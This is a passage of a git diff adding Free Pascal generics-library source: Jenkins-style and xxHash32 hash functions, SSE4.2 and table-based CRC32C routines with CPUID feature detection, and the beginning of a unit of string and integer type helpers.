ASecondaryHashAndInitVal := b; + Exit; // zero length strings require no mixing + end; + end; + end + else +{$ENDIF} + begin + while ALength > 12 do + begin + a += k8[0]; + a += (UInt32(k8[1])) shl 8; + a += (UInt32(k8[2])) shl 16; + a += (UInt32(k8[3])) shl 24; + b += k8[4]; + b += (UInt32(k8[5])) shl 8; + b += (UInt32(k8[6])) shl 16; + b += (UInt32(k8[7])) shl 24; + c += k8[8]; + c += (UInt32(k8[9])) shl 8; + c += (UInt32(k8[10])) shl 16; + c += (UInt32(k8[11])) shl 24; + mix_abc; + ALength -= 12; + k8 += 12; + end; + + case ALength of + 12: goto Case12; + 11: goto Case11; + 10: goto Case10; + 9 : goto Case9; + 8 : goto Case8; + 7 : goto Case7; + 6 : goto Case6; + 5 : goto Case5; + 4 : goto Case4; + 3 : goto Case3; + 2 : goto Case2; + 1 : goto Case1; + 0 : + begin + APrimaryHashAndInitVal := c; + ASecondaryHashAndInitVal := b; + Exit; // zero length strings require no mixing + end; + end; + + Case12: c+=(UInt32(k8[11])) shl 24; + Case11: c+=(UInt32(k8[10])) shl 16; + Case10: c+=(UInt32(k8[9])) shl 8; + Case9: c+=k8[8]; + Case8: b+=(UInt32(k8[7])) shl 24; + Case7: b+=(UInt32(k8[6])) shl 16; + Case6: b+=(UInt32(k8[5])) shl 8; + Case5: b+=k8[4]; + Case4: a+=(UInt32(k8[3])) shl 24; + Case3: a+=(UInt32(k8[2])) shl 16; + Case2: a+=(UInt32(k8[1])) shl 8; + Case1: a+=k8[0]; + end; + + final_abc; + APrimaryHashAndInitVal := c; + ASecondaryHashAndInitVal := b; +end; + +procedure DelphiHashLittle2(AKey: Pointer; ALength: SizeInt; var APrimaryHashAndInitVal, ASecondaryHashAndInitVal: UInt32); +var + a,b,c: UInt32; + u: record case byte of + 0: (ptr: Pointer); + 1: (i: PtrUint); + end absolute AKey; + + k32: ^UInt32 absolute AKey; + k16: ^UInt16 absolute AKey; + k8: ^UInt8 absolute AKey; + +label _10, _8, _6, _4, _2; +label Case12, Case11, Case10, Case9, Case8, Case7, Case6, Case5, Case4, Case3, Case2, Case1; + +begin + //* Set up the internal state */ + a := $DEADBEEF + UInt32(ALength shl 2) + APrimaryHashAndInitVal; // delphi version bug? original version don't have "shl 2" + b := a; + c := b; + c += ASecondaryHashAndInitVal; + +{$IFDEF ENDIAN_LITTLE} + if (u.i and $3) = 0 then + begin + while (ALength > 12) do + begin + a += k32[0]; + b += k32[1]; + c += k32[2]; + mix_abc; + ALength -= 12; + k32 += 3; + end; + + case ALength of + 12: begin c += k32[2]; b += k32[1]; a += k32[0]; end; + 11: begin c += k32[2] and $ffffff; b += k32[1]; a += k32[0]; end; + 10: begin c += k32[2] and $ffff; b += k32[1]; a += k32[0]; end; + 9 : begin c += k32[2] and $ff; b += k32[1]; a += k32[0]; end; + 8 : begin b += k32[1]; a += k32[0]; end; + 7 : begin b += k32[1] and $ffffff; a += k32[0]; end; + 6 : begin b += k32[1] and $ffff; a += k32[0]; end; + 5 : begin b += k32[1] and $ff; a += k32[0]; end; + 4 : begin a += k32[0]; end; + 3 : begin a += k32[0] and $ffffff; end; + 2 : begin a += k32[0] and $ffff; end; + 1 : begin a += k32[0] and $ff; end; + 0 : + begin + APrimaryHashAndInitVal := c; + ASecondaryHashAndInitVal := b; + Exit; // zero length strings require no mixing + end; + end + end + else + if (u.i and $1) = 0 then + begin + while (ALength > 12) do + begin + a += k16[0] + (UInt32(k16[1]) shl 16); + b += k16[2] + (UInt32(k16[3]) shl 16); + c += k16[4] + (UInt32(k16[5]) shl 16); + mix_abc; + ALength -= 12; + k16 += 6; + end; + + case ALength of + 12: + begin + c+=k16[4]+((UInt32(k16[5])) shl 16); + b+=k16[2]+((UInt32(k16[3])) shl 16); + a+=k16[0]+((UInt32(k16[1])) shl 16); + end; + 11: + begin + c+=(UInt32(k8[10])) shl 16; //* fall through */ + goto _10; + end; + 10: + begin _10: + c+=k16[4]; + b+=k16[2]+((UInt32(k16[3])) shl 16); + a+=k16[0]+((UInt32(k16[1])) shl 16); + end; + 9 : + begin + c+=k8[8]; //* fall through */ + goto _8; + end; + 8 : + begin _8: + b+=k16[2]+((UInt32(k16[3])) shl 16); + a+=k16[0]+((UInt32(k16[1])) shl 16); + end; + 7 : + begin + b+=(UInt32(k8[6])) shl 16; //* fall through */ + goto _6; + end; + 6 : + begin _6: + b+=k16[2]; + a+=k16[0]+((UInt32(k16[1])) shl 16); + end; + 5 : + begin + b+=k8[4]; //* fall through */ + goto _4; + end; + 4 : + begin _4: + a+=k16[0]+((UInt32(k16[1])) shl 16); + end; + 3 : + begin + a+=(UInt32(k8[2])) shl 16; //* fall through */ + goto _2; + end; + 2 : + begin _2: + a+=k16[0]; + end; + 1 : + begin + a+=k8[0]; + end; + 0 : + begin + APrimaryHashAndInitVal := c; + ASecondaryHashAndInitVal := b; + Exit; // zero length strings require no mixing + end; + end; + end + else +{$ENDIF} + begin + while ALength > 12 do + begin + a += k8[0]; + a += (UInt32(k8[1])) shl 8; + a += (UInt32(k8[2])) shl 16; + a += (UInt32(k8[3])) shl 24; + b += k8[4]; + b += (UInt32(k8[5])) shl 8; + b += (UInt32(k8[6])) shl 16; + b += (UInt32(k8[7])) shl 24; + c += k8[8]; + c += (UInt32(k8[9])) shl 8; + c += (UInt32(k8[10])) shl 16; + c += (UInt32(k8[11])) shl 24; + mix_abc; + ALength -= 12; + k8 += 12; + end; + + case ALength of + 12: goto Case12; + 11: goto Case11; + 10: goto Case10; + 9 : goto Case9; + 8 : goto Case8; + 7 : goto Case7; + 6 : goto Case6; + 5 : goto Case5; + 4 : goto Case4; + 3 : goto Case3; + 2 : goto Case2; + 1 : goto Case1; + 0 : + begin + APrimaryHashAndInitVal := c; + ASecondaryHashAndInitVal := b; + Exit; // zero length strings require no mixing + end; + end; + + Case12: c+=(UInt32(k8[11])) shl 24; + Case11: c+=(UInt32(k8[10])) shl 16; + Case10: c+=(UInt32(k8[9])) shl 8; + Case9: c+=k8[8]; + Case8: b+=(UInt32(k8[7])) shl 24; + Case7: b+=(UInt32(k8[6])) shl 16; + Case6: b+=(UInt32(k8[5])) shl 8; + Case5: b+=k8[4]; + Case4: a+=(UInt32(k8[3])) shl 24; + Case3: a+=(UInt32(k8[2])) shl 16; + Case2: a+=(UInt32(k8[1])) shl 8; + Case1: a+=k8[0]; + end; + + final_abc; + APrimaryHashAndInitVal := c; + ASecondaryHashAndInitVal := b; +end; + +function DelphiHashLittle(AKey: Pointer; ALength: SizeInt; AInitVal: UInt32): Int32; +var + a, b, c: UInt32; + u: record case byte of + 0: (ptr: Pointer); + 1: (i: PtrUint); + end absolute AKey; + + k32: ^UInt32 absolute AKey; + //k16: ^UInt16 absolute AKey; + k8: ^UInt8 absolute AKey; + +label Case12, Case11, Case10, Case9, Case8, Case7, Case6, Case5, Case4, Case3, Case2, Case1; + +begin + a := $DEADBEEF + UInt32(ALength shl 2) + AInitVal; // delphi version bug? original version don't have "shl 2" + b := a; + c := b; + +{.$IFDEF ENDIAN_LITTLE} // Delphi version don't care + if (u.i and $3) = 0 then + begin + while (ALength > 12) do + begin + a += k32[0]; + b += k32[1]; + c += k32[2]; + mix_abc; + ALength -= 12; + k32 += 3; + end; + + case ALength of + 12: begin c += k32[2]; b += k32[1]; a += k32[0]; end; + 11: begin c += k32[2] and $ffffff; b += k32[1]; a += k32[0]; end; + 10: begin c += k32[2] and $ffff; b += k32[1]; a += k32[0]; end; + 9 : begin c += k32[2] and $ff; b += k32[1]; a += k32[0]; end; + 8 : begin b += k32[1]; a += k32[0]; end; + 7 : begin b += k32[1] and $ffffff; a += k32[0]; end; + 6 : begin b += k32[1] and $ffff; a += k32[0]; end; + 5 : begin b += k32[1] and $ff; a += k32[0]; end; + 4 : begin a += k32[0]; end; + 3 : begin a += k32[0] and $ffffff; end; + 2 : begin a += k32[0] and $ffff; end; + 1 : begin a += k32[0] and $ff; end; + 0 : Exit(c); // zero length strings require no mixing + end + end + else +{.$ENDIF} + begin + while ALength > 12 do + begin + a += k8[0]; + a += (UInt32(k8[1])) shl 8; + a += (UInt32(k8[2])) shl 16; + a += (UInt32(k8[3])) shl 24; + b += k8[4]; + b += (UInt32(k8[5])) shl 8; + b += (UInt32(k8[6])) shl 16; + b += (UInt32(k8[7])) shl 24; + c += k8[8]; + c += (UInt32(k8[9])) shl 8; + c += (UInt32(k8[10])) shl 16; + c += (UInt32(k8[11])) shl 24; + mix_abc; + ALength -= 12; + k8 += 12; + end; + + case ALength of + 12: goto Case12; + 11: goto Case11; + 10: goto Case10; + 9 : goto Case9; + 8 : goto Case8; + 7 : goto Case7; + 6 : goto Case6; + 5 : goto Case5; + 4 : goto Case4; + 3 : goto Case3; + 2 : goto Case2; + 1 : goto Case1; + 0 : Exit(c); + end; + + Case12: c+=(UInt32(k8[11])) shl 24; + Case11: c+=(UInt32(k8[10])) shl 16; + Case10: c+=(UInt32(k8[9])) shl 8; + Case9: c+=k8[8]; + Case8: b+=(UInt32(k8[7])) shl 24; + Case7: b+=(UInt32(k8[6])) shl 16; + Case6: b+=(UInt32(k8[5])) shl 8; + Case5: b+=k8[4]; + Case4: a+=(UInt32(k8[3])) shl 24; + Case3: a+=(UInt32(k8[2])) shl 16; + Case2: a+=(UInt32(k8[1])) shl 8; + Case1: a+=k8[0]; + end; + + final_abc; + Result := Int32(c); +end; + +{$ifdef CPUARM} // circumvent FPC issue on ARM +function ToByte(value: cardinal): cardinal; inline; +begin + result := value and $ff; +end; +{$else} +type ToByte = byte; +{$endif} + +{$ifdef CPUINTEL} // use optimized x86/x64 asm versions for xxHash32 + +{$ifdef CPUX86} +function xxHash32(crc: cardinal; P: Pointer; len: integer): cardinal; +asm + xchg edx, ecx + push ebp + push edi + lea ebp, [ecx+edx] + push esi + push ebx + sub esp, 8 + cmp edx, 15 + mov ebx, eax + mov dword ptr [esp], edx + lea eax, [ebx+165667B1H] + jbe @2 + lea eax, [ebp-10H] + lea edi, [ebx+24234428H] + lea esi, [ebx-7A143589H] + mov dword ptr [esp+4H], ebp + mov edx, eax + lea eax, [ebx+61C8864FH] + mov ebp, edx +@1: mov edx, dword ptr [ecx] + imul edx, edx, -2048144777 + add edi, edx + rol edi, 13 + imul edi, edi, -1640531535 + mov edx, dword ptr [ecx+4] + imul edx, edx, -2048144777 + add esi, edx + rol esi, 13 + imul esi, esi, -1640531535 + mov edx, dword ptr [ecx+8] + imul edx, edx, -2048144777 + add ebx, edx + rol ebx, 13 + imul ebx, ebx, -1640531535 + mov edx, dword ptr [ecx+12] + lea ecx, [ecx+16] + imul edx, edx, -2048144777 + add eax, edx + rol eax, 13 + imul eax, eax, -1640531535 + cmp ebp, ecx + jnc @1 + rol edi, 1 + rol esi, 7 + rol ebx, 12 + add esi, edi + mov ebp, dword ptr [esp+4H] + ror eax, 14 + add ebx, esi + add eax, ebx +@2: lea esi, [ecx+4H] + add eax, dword ptr [esp] + cmp ebp, esi + jc @4 + mov ebx, esi + nop +@3: imul edx, dword ptr [ebx-4H], -1028477379 + add ebx, 4 + add eax, edx + ror eax, 15 + imul eax, eax, 668265263 + cmp ebp, ebx + jnc @3 + lea edx, [ebp-4H] + sub edx, ecx + mov ecx, edx + and ecx, 0FFFFFFFCH + add ecx, esi +@4: cmp ebp, ecx + jbe @6 +@5: movzx edx, byte ptr [ecx] + add ecx, 1 + imul edx, edx, 374761393 + add eax, edx + rol eax, 11 + imul eax, eax, -1640531535 + cmp ebp, ecx + jnz @5 + nop +@6: mov edx, eax + add esp, 8 + shr edx, 15 + xor eax, edx + imul eax, eax, -2048144777 + pop ebx + pop esi + mov edx, eax + shr edx, 13 + xor eax, edx + imul eax, eax, -1028477379 + pop edi + pop ebp + mov edx, eax + shr edx, 16 + xor eax, edx +end; +{$endif CPUX86} + +{$ifdef CPUX64} +function xxHash32(crc: cardinal; P: Pointer; len: integer): cardinal; +asm + {$ifndef WIN64} // crc=rdi P=rsi len=rdx + mov r8, rdi + mov rcx, rsi + {$else} // crc=r8 P=rcx len=rdx + mov r10, r8 + mov r8, rcx + mov rcx, rdx + mov rdx, r10 + push rsi // Win64 expects those registers to be preserved + push rdi + {$endif} + // P=r8 len=rcx crc=rdx + push rbx + lea r10, [rcx+rdx] + cmp rdx, 15 + lea eax, [r8+165667B1H] + jbe @2 + lea rsi, [r10-10H] + lea ebx, [r8+24234428H] + lea edi, [r8-7A143589H] + lea eax, [r8+61C8864FH] +@1: imul r9d, dword ptr [rcx], -2048144777 + add rcx, 16 + imul r11d, dword ptr [rcx-0CH], -2048144777 + add ebx, r9d + lea r9d, [r11+rdi] + rol ebx, 13 + rol r9d, 13 + imul ebx, ebx, -1640531535 + imul edi, r9d, -1640531535 + imul r9d, dword ptr [rcx-8H], -2048144777 + add r8d, r9d + imul r9d, dword ptr [rcx-4H], -2048144777 + rol r8d, 13 + imul r8d, r8d, -1640531535 + add eax, r9d + rol eax, 13 + imul eax, eax, -1640531535 + cmp rsi, rcx + jnc @1 + rol edi, 7 + rol ebx, 1 + rol r8d, 12 + mov r9d, edi + ror eax, 14 + add r9d, ebx + add r8d, r9d + add eax, r8d +@2: lea r9, [rcx+4H] + add eax, edx + cmp r10, r9 + jc @4 + mov r8, r9 +@3: imul edx, dword ptr [r8-4H], -1028477379 + add r8, 4 + add eax, edx + ror eax, 15 + imul eax, eax, 668265263 + cmp r10, r8 + jnc @3 + lea rdx, [r10-4H] + sub rdx, rcx + mov rcx, rdx + and rcx, 0FFFFFFFFFFFFFFFCH + add rcx, r9 +@4: cmp r10, rcx + jbe @6 +@5: movzx edx, byte ptr [rcx] + add rcx, 1 + imul edx, edx, 374761393 + add eax, edx + rol eax, 11 + imul eax, eax, -1640531535 + cmp r10, rcx + jnz @5 +@6: mov edx, eax + shr edx, 15 + xor eax, edx + imul eax, eax, -2048144777 + mov edx, eax + shr edx, 13 + xor eax, edx + imul eax, eax, -1028477379 + mov edx, eax + shr edx, 16 + xor eax, edx + pop rbx + {$ifdef WIN64} + pop rdi + pop rsi + {$endif} +end; +{$endif CPUX64} +{$else not CPUINTEL} +function xxHash32(crc: cardinal; P: Pointer; len: integer): cardinal; +begin + result := xxHash32Pascal(crc, P, len); +end; +{$endif CPUINTEL} + +const + PRIME32_1 = 2654435761; + PRIME32_2 = 2246822519; + PRIME32_3 = 3266489917; + PRIME32_4 = 668265263; + PRIME32_5 = 374761393; + +// RolDWord is an intrinsic function under FPC :) +function Rol13(value: cardinal): cardinal; inline; +begin + result := RolDWord(value, 13); +end; + +function xxHash32Pascal(crc: cardinal; P: Pointer; len: integer): cardinal; +var c1, c2, c3, c4: cardinal; + PLimit, PEnd: PAnsiChar; +begin + PEnd := P + len; + if len >= 16 then begin + PLimit := PEnd - 16; + c3 := crc; + c2 := c3 + PRIME32_2; + c1 := c2 + PRIME32_1; + c4 := c3 - PRIME32_1; + repeat + c1 := PRIME32_1 * Rol13(c1 + PRIME32_2 * PCardinal(P)^); + c2 := PRIME32_1 * Rol13(c2 + PRIME32_2 * PCardinal(P+4)^); + c3 := PRIME32_1 * Rol13(c3 + PRIME32_2 * PCardinal(P+8)^); + c4 := PRIME32_1 * Rol13(c4 + PRIME32_2 * PCardinal(P+12)^); + inc(P, 16); + until not (P <= PLimit); + result := RolDWord(c1, 1) + RolDWord(c2, 7) + RolDWord(c3, 12) + RolDWord(c4, 18); + end else + result := crc + PRIME32_5; + inc(result, len); + { Use "P + 4 <= PEnd" instead of "P <= PEnd - 4" to avoid crashes in case P = nil. + When P = nil, + then "PtrUInt(PEnd - 4)" is 4294967292, + so the condition "P <= PEnd - 4" would be satisfied, + and the code would try to access PCardinal(nil)^ causing a SEGFAULT. } + while P + 4 <= PEnd do begin + inc(result, PCardinal(P)^ * PRIME32_3); + result := RolDWord(result, 17) * PRIME32_4; + inc(P, 4); + end; + while P < PEnd do begin + inc(result, PByte(P)^ * PRIME32_5); + result := RolDWord(result, 11) * PRIME32_1; + inc(P); + end; + result := result xor (result shr 15); + result := result * PRIME32_2; + result := result xor (result shr 13); + result := result * PRIME32_3; + result := result xor (result shr 16); +end; + +{$ifdef CPUINTEL} + +type + TRegisters = record + eax,ebx,ecx,edx: cardinal; + end; + +{$ifdef CPU64} +procedure GetCPUID(Param: Cardinal; var Registers: TRegisters); nostackframe; assembler; +asm + {$ifdef win64} + mov eax, ecx + mov r9, rdx + {$else} + mov eax, edi + mov r9, rsi + {$endif win64} + mov r10, rbx // preserve rbx + xor ebx, ebx + xor ecx, ecx + xor edx, edx + cpuid + mov TRegisters(r9).&eax, eax + mov TRegisters(r9).&ebx, ebx + mov TRegisters(r9).&ecx, ecx + mov TRegisters(r9).&edx, edx + mov rbx, r10 +end; + +function crc32csse42(crc: cardinal; buf: Pointer; len: cardinal): cardinal; nostackframe; assembler; +asm // ecx=crc, rdx=buf, r8=len (Linux: edi,rsi,rdx) + {$ifdef win64} + mov eax, ecx + {$else} + mov eax, edi + mov r8, rdx + mov rdx, rsi + {$endif win64} + not eax + test rdx, rdx + jz @0 + test r8, r8 + jz @0 +@7: test dl, 7 + jz @8 // align to 8 bytes boundary + crc32 eax, byte ptr[rdx] + inc rdx + dec r8 + jz @0 + test dl, 7 + jnz @7 +@8: mov rcx, r8 + shr r8, 3 + jz @2 +@1: + crc32 rax, qword [rdx] // hash 8 bytes per loop + dec r8 + lea rdx, [rdx + 8] + jnz @1 +@2: and ecx, 7 + jz @0 + cmp ecx, 4 + jb @4 + crc32 eax, dword ptr[rdx] + sub ecx, 4 + lea rdx, [rdx + 4] + jz @0 +@4: crc32 eax, byte ptr[rdx] + dec ecx + jz @0 + crc32 eax, byte ptr[rdx + 1] + dec ecx + jz @0 + crc32 eax, byte ptr[rdx + 2] +@0: not eax +end; +{$endif CPU64} + +{$ifdef CPUX86} +procedure GetCPUID(Param: Cardinal; var Registers: TRegisters); +asm + push esi + push edi + mov esi, edx + mov edi, eax + pushfd + pop eax + mov edx, eax + xor eax, $200000 + push eax + popfd + pushfd + pop eax + xor eax, edx + jz @nocpuid + push ebx + mov eax, edi + xor ecx, ecx + cpuid + mov TRegisters(esi).&eax, eax + mov TRegisters(esi).&ebx, ebx + mov TRegisters(esi).&ecx, ecx + mov TRegisters(esi).&edx, edx + pop ebx +@nocpuid: + pop edi + pop esi +end; + +function crc32csse42(crc: cardinal; buf: Pointer; len: cardinal): cardinal; +asm // eax=crc, edx=buf, ecx=len + not eax + test ecx, ecx + jz @0 + test edx, edx + jz @0 +@3: test edx, 3 + jz @8 // align to 4 bytes boundary + crc32 eax, byte ptr[edx] + inc edx + dec ecx + jz @0 + test edx, 3 + jnz @3 +@8: push ecx + shr ecx, 3 + jz @2 +@1: + crc32 eax, dword ptr[edx] + crc32 eax, dword ptr[edx + 4] + dec ecx + lea edx, [edx + 8] + jnz @1 +@2: pop ecx + and ecx, 7 + jz @0 + cmp ecx, 4 + jb @4 + crc32 eax, dword ptr[edx] + sub ecx, 4 + lea edx, [edx + 4] + jz @0 +@4: + crc32 eax, byte ptr[edx] + dec ecx + jz @0 + crc32 eax, byte ptr[edx + 1] + dec ecx + jz @0 + crc32 eax, byte ptr[edx + 2] +@0: not eax +end; +{$endif CPUX86} + +type + /// the potential features, retrieved from an Intel CPU + // - see https://en.wikipedia.org/wiki/CPUID#EAX.3D1:_Processor_Info_and_Feature_Bits + TIntelCpuFeature = + ( { in EDX } + cfFPU, cfVME, cfDE, cfPSE, cfTSC, cfMSR, cfPAE, cfMCE, + cfCX8, cfAPIC, cf_d10, cfSEP, cfMTRR, cfPGE, cfMCA, cfCMOV, + cfPAT, cfPSE36, cfPSN, cfCLFSH, cf_d20, cfDS, cfACPI, cfMMX, + cfFXSR, cfSSE, cfSSE2, cfSS, cfHTT, cfTM, cfIA64, cfPBE, + { in ECX } + cfSSE3, cfCLMUL, cfDS64, cfMON, cfDSCPL, cfVMX, cfSMX, cfEST, + cfTM2, cfSSSE3, cfCID, cfSDBG, cfFMA, cfCX16, cfXTPR, cfPDCM, + cf_c16, cfPCID, cfDCA, cfSSE41, cfSSE42, cfX2A, cfMOVBE, cfPOPCNT, + cfTSC2, cfAESNI, cfXS, cfOSXS, cfAVX, cfF16C, cfRAND, cfHYP, + { extended features in EBX, ECX } + cfFSGS, cf_b01, cfSGX, cfBMI1, cfHLE, cfAVX2, cf_b06, cfSMEP, + cfBMI2, cfERMS, cfINVPCID, cfRTM, cfPQM, cf_b13, cfMPX, cfPQE, + cfAVX512F, cfAVX512DQ, cfRDSEED, cfADX, cfSMAP, cfAVX512IFMA, cfPCOMMIT, cfCLFLUSH, + cfCLWB, cfIPT, cfAVX512PF, cfAVX512ER, cfAVX512CD, cfSHA, cfAVX512BW, cfAVX512VL, + cfPREFW1, cfAVX512VBMI, cfUMIP, cfPKU, cfOSPKE, cf_c05, cf_c06, cf_c07, + cf_c08, cf_c09, cf_c10, cf_c11, cf_c12, cf_c13, cfAVX512VPC, cf_c15, + cf_cc16, cf_c17, cf_c18, cf_c19, cf_c20, cf_c21, cfRDPID, cf_c23, + cf_c24, cf_c25, cf_c26, cf_c27, cf_c28, cf_c29, cfSGXLC, cf_c31, + cf_d0, cf_d1, cfAVX512NNI, cfAVX512MAS, cf_d4, cf_d5, cf_d6, cf_d7); + + /// all features, as retrieved from an Intel CPU + TIntelCpuFeatures = set of TIntelCpuFeature; + +var + /// the available CPU features, as recognized at program startup + CpuFeatures: TIntelCpuFeatures; + +procedure TestIntelCpuFeatures; +var regs: TRegisters; +begin + regs.edx := 0; + regs.ecx := 0; + GetCPUID(1,regs); + PIntegerArray(@CpuFeatures)^[0] := regs.edx; + PIntegerArray(@CpuFeatures)^[1] := regs.ecx; + GetCPUID(7,regs); + PIntegerArray(@CpuFeatures)^[2] := regs.ebx; + PIntegerArray(@CpuFeatures)^[3] := regs.ecx; + PByte(@PIntegerArray(@CpuFeatures)^[4])^ := regs.edx; +// assert(sizeof(CpuFeatures)=4*4+1); + {$ifdef Darwin} + {$ifdef CPU64} + // SSE42 asm does not (yet) work on Darwin x64 ... + Exclude(CpuFeatures, cfSSE42); + {$endif} + {$endif} +end; +{$endif CPUINTEL} + +var + crc32ctab: array[0..{$ifdef PUREPASCAL}3{$else}7{$endif},byte] of cardinal; + +function crc32cfast(crc: cardinal; buf: Pointer; len: cardinal): cardinal; +{$ifdef PUREPASCAL} +begin + result := not crc; + if (buf<>nil) and (len>0) then begin + repeat + if PtrUInt(buf) and 3=0 then // align to 4 bytes boundary + break; + result := crc32ctab[0,ToByte(result xor cardinal(buf^))] xor (result shr 8); + dec(len); + inc(buf); + until len=0; + while len>=4 do begin + result := result xor PCardinal(buf)^; + inc(buf,4); + result := crc32ctab[3,ToByte(result)] xor + crc32ctab[2,ToByte(result shr 8)] xor + crc32ctab[1,ToByte(result shr 16)] xor + crc32ctab[0,result shr 24]; + dec(len,4); + end; + while len>0 do begin + result := crc32ctab[0,ToByte(result xor cardinal(buf^))] xor (result shr 8); + dec(len); + inc(buf); + end; + end; + result := not result; +end; +{$else} +// adapted from fast Aleksandr Sharahov version +asm + test edx, edx + jz @ret + neg ecx + jz @ret + not eax + push ebx +@head: test dl, 3 + jz @aligned + movzx ebx, byte[edx] + inc edx + xor bl, al + shr eax, 8 + xor eax, dword ptr[ebx * 4 + crc32ctab] + inc ecx + jnz @head + pop ebx + not eax + ret +@ret: rep ret +@aligned: + sub edx, ecx + add ecx, 8 + jg @bodydone + push esi + push edi + mov edi, edx + mov edx, eax +@bodyloop: + mov ebx, [edi + ecx - 4] + xor edx, [edi + ecx - 8] + movzx esi, bl + mov eax, dword ptr[esi * 4 + crc32ctab + 1024 * 3] + movzx esi, bh + xor eax, dword ptr[esi * 4 + crc32ctab + 1024 * 2] + shr ebx, 16 + movzx esi, bl + xor eax, dword ptr[esi * 4 + crc32ctab + 1024 * 1] + movzx esi, bh + xor eax, dword ptr[esi * 4 + crc32ctab + 1024 * 0] + movzx esi, dl + xor eax, dword ptr[esi * 4 + crc32ctab + 1024 * 7] + movzx esi, dh + xor eax, dword ptr[esi * 4 + crc32ctab + 1024 * 6] + shr edx, 16 + movzx esi, dl + xor eax, dword ptr[esi * 4 + crc32ctab + 1024 * 5] + movzx esi, dh + xor eax, dword ptr[esi * 4 + crc32ctab + 1024 * 4] + add ecx, 8 + jg @done + mov ebx, [edi + ecx - 4] + xor eax, [edi + ecx - 8] + movzx esi, bl + mov edx, dword ptr[esi * 4 + crc32ctab + 1024 * 3] + movzx esi, bh + xor edx, dword ptr[esi * 4 + crc32ctab + 1024 * 2] + shr ebx, 16 + movzx esi, bl + xor edx, dword ptr[esi * 4 + crc32ctab + 1024 * 1] + movzx esi, bh + xor edx, dword ptr[esi * 4 + crc32ctab + 1024 * 0] + movzx esi, al + xor edx, dword ptr[esi * 4 + crc32ctab + 1024 * 7] + movzx esi, ah + xor edx, dword ptr[esi * 4 + crc32ctab + 1024 * 6] + shr eax, 16 + movzx esi, al + xor edx, dword ptr[esi * 4 + crc32ctab + 1024 * 5] + movzx esi, ah + xor edx, dword ptr[esi * 4 + crc32ctab + 1024 * 4] + add ecx, 8 + jle @bodyloop + mov eax, edx +@done: mov edx, edi + pop edi + pop esi +@bodydone: + sub ecx, 8 + jl @tail + pop ebx + not eax + ret +@tail: movzx ebx, byte[edx + ecx] + xor bl, al + shr eax, 8 + xor eax, dword ptr[ebx * 4 + crc32ctab] + inc ecx + jnz @tail + pop ebx + not eax +end; +{$endif PUREPASCAL} + +procedure InitializeCrc32ctab; +var + i, n: integer; + crc: cardinal; +begin + // initialize tables for crc32cfast() and SymmetricEncrypt/FillRandom + for i := 0 to 255 do begin + crc := i; + for n := 1 to 8 do + if (crc and 1)<>0 then // polynom is not the same as with zlib's crc32() + crc := (crc shr 1) xor $82f63b78 else + crc := crc shr 1; + crc32ctab[0,i] := crc; + end; + for i := 0 to 255 do begin + crc := crc32ctab[0,i]; + for n := 1 to high(crc32ctab) do begin + crc := (crc shr 8) xor crc32ctab[0,ToByte(crc)]; + crc32ctab[n,i] := crc; + end; + end; +end; + +begin + {$ifdef CPUINTEL} + TestIntelCpuFeatures; + if cfSSE42 in CpuFeatures then + begin + crc32c := @crc32csse42; + mORMotHasher := @crc32csse42; + end + else + {$endif CPUINTEL} + begin + InitializeCrc32ctab; + crc32c := @crc32cfast; + mORMotHasher := @{$IFDEF CPUINTEL}xxHash32{$ELSE}xxHash32Pascal{$ENDIF}; + end; +end. + diff --git a/Core/generics_collections/src/generics.helpers.pas b/Core/generics_collections/src/generics.helpers.pas new file mode 100755 index 0000000..dbd7bc7 --- /dev/null +++ b/Core/generics_collections/src/generics.helpers.pas @@ -0,0 +1,146 @@ +{ + This file is part of the Free Pascal/NewPascal run time library. + Copyright (c) 2014 by Maciej Izak (hnb) + member of the NewPascal development team (http://newpascal.org) + + Copyright(c) 2004-2018 DaThoX + + It contains the generics collections library + + See the file COPYING.FPC, included in this distribution, + for details about the copyright. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. + + **********************************************************************} + +unit Generics.Helpers; + +{$MODE DELPHI}{$H+} +{$MODESWITCH TYPEHELPERS} +{$OVERFLOWCHECKS OFF} +{$RANGECHECKS OFF} + +interface + +uses + Classes, SysUtils; + +type + { TValueAnsiStringHelper } + + TValueAnsiStringHelper = record helper for AnsiString + function ToLower: AnsiString; inline; + end; + + { TValuewideStringHelper } + + TValueWideStringHelper = record helper for WideString + function ToLower: WideString; inline; + end; + + { TValueUnicodeStringHelper } + + TValueUnicodeStringHelper = record helper for UnicodeString + function ToLower: UnicodeString; inline; + end; + + { TValueShortStringHelper } + + TValueShortStringHelper = record helper for ShortString + function ToLower: ShortString; inline; + end; + + { TValueUTF8StringHelper } + + TValueUTF8StringHelper = record helper for UTF8String + function ToLower: UTF8String; inline; + end; + + { TValueRawByteStringHelper } + + TValueRawByteStringHelper = record helper for RawByteString + function ToLower: RawByteString; inline; + end; + + { TValueUInt32Helper } + + TValueUInt32Helper = record helper for UInt32 + class function GetSignMask: UInt32; static; inline; + class function GetSizedSignMask(ABits: Byte): UInt32; static; inline; + class function GetBitsLength: Byte; static; inline; + + const + SIZED_SIGN_MASK: array[1..32] of UInt32 = ( + $80000000, $C0000000, $E0000000, $F0000000, $F8000000, $FC000000, $FE000000, $FF000000, + $FF800000, $FFC00000, $FFE00000, $FFF00000, $FFF80000, $FFFC0000, $FFFE0000, $FFFF0000, + $FFFF8000, $FFFFC000, $FFFFE000, $FFFFF000, $FFFFF800, $FFFFFC00, $FFFFFE00, $FFFFFF00, + $FFFFFF80, $FFFFFFC0, $FFFFFFE0, $FFFFFFF0, $FFFFFFF8, $FFFFFFFC, $FFFFFFFE, $FFFFFFFF); + BITS_LENGTH = 32; + end; + +implementation + +{ TRawDataStringHelper } + +function TValueAnsiStringHelper.ToLower: AnsiString; +begin + Result := LowerCase(Self); +end; + +{ TValueWideStringHelper } + +function TValueWideStringHelper.ToLower: WideString; +begin + Result := LowerCase(Self); +end; + +{ TValueUnicodeStringHelper } + +function TValueUnicodeStringHelper.ToLower: UnicodeString; +begin + Result := LowerCase(Self); +end; + +{ TValueShortStringHelper } + +function TValueShortStringHelper.ToLower: ShortString; +begin + Result := LowerCase(Self); +end; + +{ TValueUTF8StringHelper } + +function TValueUTF8StringHelper.ToLower: UTF8String; +begin + Result := LowerCase(Self); +end; + +{ TValueRawByteStringHelper } + +function TValueRawByteStringHelper.ToLower: RawByteString; +begin + Result := LowerCase(Self); +end; + +{ TValueUInt32Helper } + +class function TValueUInt32Helper.GetSignMask: UInt32; +begin + Result := $80000000; +end; + +class function TValueUInt32Helper.GetSizedSignMask(ABits: Byte): 